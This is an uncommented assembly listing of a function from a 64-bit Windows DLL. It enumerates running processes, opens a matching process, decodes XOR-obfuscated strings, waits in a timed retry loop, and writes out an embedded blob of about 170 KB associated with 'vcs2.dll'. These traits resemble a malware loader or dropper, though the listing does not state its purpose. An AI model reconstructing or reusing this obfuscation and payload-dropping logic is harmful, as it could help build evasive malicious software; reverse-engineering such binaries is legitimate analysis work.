lea rcx, [rsp + 0x60]
call fcn.180007750
mov r9, rax
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026bc7
mov rax, rbx
sub rax, r9
mov r8, rdi
cmp rax, rdi
cmovb r8, rax
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rax, qword [rsp + 0x60]
lea rcx, [rax + r9*2]
sub rbx, r8
lea rdx, [rcx + r8*2]
mov r8, rbx
sub r8, r9
lea r8, [r8*2 + 2]
call fcn.18010b0a0
mov qword [rsp + 0x70], rbx
lea rdx, [0x180180f80]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1800262c0
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18002646c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026467
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b19
jmp 0x180026467
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800262e0
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x20]
call fcn.180008fd0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x48]
call fcn.1800bcff0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.1800bcff0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180026333
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180026341
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180026366
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18002636f
add rax, 2
sub rcx, 1
jne 0x180026353
cmp r9, r10
jae 0x180026377
mov ebx, edi
jmp 0x18002637d
mov ebx, r15d
cmovb ebx, edi
jmp 0x18002637d
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x1800263bd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800263b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bcd
call fcn.1800d95dc
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x18002640e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026409
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bd3
call fcn.1800d95dc
test ebx, ebx
je 0x180026470
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800262c0
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18002646c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026467
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bd9
call fcn.1800d95dc
xor bl, bl
jmp 0x1800264de
mov r8d, dword [rbp + 0x138]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x180026490
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1800264dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800264d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bd9
call fcn.1800d95dc
mov bl, 1
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x18002651e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026519
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b07
call fcn.1800d95dc
test bl, bl
jne 0x18002683f
mov ecx, 0x98
call fcn.1800d95a0
mov rbx, rax
mov qword [rbp + 0x6b0], rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0x6c8], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
xor r8d, r8d
lea rdx, [0x18013f620]
lea rcx, [rbp - 0x20]
call fcn.180008fd0
nop
lea rax, [rbp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
xor r8d, r8d
lea rdx, [0x18013f624]
lea rcx, [rbp + 0x28]
call fcn.180008fd0
nop
movups xmm0, xmmword [0x180182540]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x180182550]
mov dword [rsp + 0x70], eax
cmp word [0x180182552], 0
je 0x1800265f4
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x60], ax
xor word [rsp + 0x62], 0x34
xor word [rsp + 0x64], 0x35
xor word [rsp + 0x66], 0x36
xor word [rsp + 0x68], 0x37
xor word [rsp + 0x6a], 0x38
xor word [rsp + 0x6c], 0x39
xor word [rsp + 0x6e], 0x3a
xor word [rsp + 0x70], 0x3b
xor word [rsp + 0x72], 0x3c
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], r13
lea rax, [rsp + 0x60]
nop dword [rax + rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x180026610
mov r8, rdi
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x48]
call fcn.180008fd0
nop
lea r9, [rbp - 0x20]
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x48]
mov rcx, rbx
call fcn.1800388f0
mov r14, rax
mov rcx, qword [rbp + 0xd8]
mov qword [rax + 0x18], rcx
mov ecx, dword [rbp + 0xe8]
mov dword [rax], ecx
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea rbx, [rax + 0x7530]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
ja 0x180026839
movups xmm0, xmmword [str.__PWZKHMU_]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x1801825a8]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x1801825b8]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x1800267bf
movdqa xmm5, xmmword [0x180186340]
movdqa xmm4, xmmword [0x1801865f0]
movdqa xmm6, xmmword [0x1801863a0]
movdqa xmm7, xmmword [0x1801864a0]
lea rcx, [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x1800266d0
cmp r8d, 0x11
jge 0x180026804
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x1800267d0
xor r8d, r8d
lea rdx, [rbp]
mov ecx, dword [rbp + 0xe8]
call fcn.1800c0320
test rax, rax
jne 0x1800268ac
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
jbe 0x180026672
mov r15d, 0x405f
mov rdx, qword [rbp + 0x128]
cmp rdx, 7
jbe 0x180026885
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026880
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bdf
call fcn.1800d95dc
mov eax, r15d
movaps xmm6, xmmword [rsp + 0x750]
movaps xmm7, xmmword [rsp + 0x740]
add rsp, 0x768
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8d, 0x2a400
lea rdx, [0x180338820]
lea rcx, [rbp + 0x98]
call fcn.1800bffe0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov rdx, qword [rbp + 0xa0]
sub rdx, qword [rbp + 0x98]
je 0x18002692f
movabs rax, 0x7fffffffffffffff
cmp rdx, rax
ja 0x180026be5
lea rcx, [rsp + 0x60]
call fcn.18000a780
mov rdi, qword [rbp + 0x98]
mov rsi, qword [rbp + 0xa0]
mov r8, rsi
sub r8, rdi
mov rdx, rdi
mov rcx, qword [rsp + 0x60]
call fcn.18010b0a0
sub rsi, rdi
add rsi, qword [rsp + 0x60]
mov qword [rsp + 0x68], rsi
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.180038c70
lea rcx, [rbp + 0x98]
call fcn.1800075e0
mov rdx, qword [0x1803a32b8]
lea rcx, [rbp + 0x370]
call fcn.180026c00
nop
mov rax, qword [0x1803a32b8]
mov dword [rax + 0x30], r13d
mov dword [rax + 0x24], r15d
mov dword [rax + 0x20], r15d
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180013d50
lea rdx, [rbp + 0x48]
mov rcx, rax
call fcn.180013d30
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 8
jb 0x180026beb
lea r9, [rbp + 0x48]
cmp qword [rbp + 0x60], 7
cmova r9, qword [rbp + 0x48]
mov qword [rsp + 0x30], 8
lea rax, str.vcs2.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xf0]
call fcn.180009f50
nop
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0xf0]
call fcn.1800078c0
mov rbx, qword [rax]
lea rdx, [rbp + 0x6c8]
lea rcx, [rbp + 0xf0]
call fcn.1800078e0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x80]
call fcn.180008e90
nop
lea rdx, [r14 + 0x20]
lea rcx, [rsp + 0x60]
call fcn.180007650
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1800c5300
lea rdx, [rbp - 0x80]
lea rcx, [rbp]
call fcn.180007de0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, r14
call fcn.1800226d0
mov ebx, eax
lea rdx, [rbp + 0x370]
mov rcx, qword [0x1803a32b8]
call fcn.180026d30
test ebx, ebx
je 0x180026a73
call fcn.180023c80
mov r15d, eax
jmp 0x180026a76
mov r15d, r13d
lea rcx, [rbp - 0x80]
call fcn.180007c80
nop
lea rcx, [rbp + 0xf0]
call fcn.180007900
nop
lea rcx, [rbp + 0x48]
call fcn.180007900
nop
lea rcx, [rbp + 0x3b8]
call fcn.1800136c0
lea rcx, [rbp + 0x370]
call fcn.180013f50
nop
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x18002683f
mov rdx, qword [rbp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026aeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b07
call fcn.1800d95dc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
jmp 0x18002683f
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800087d0
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800087d0
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800087d0
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800087d0
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800087d0
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800087d0
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
int3
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800087d0
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.180008710
nop
call fcn.1800035b0
int3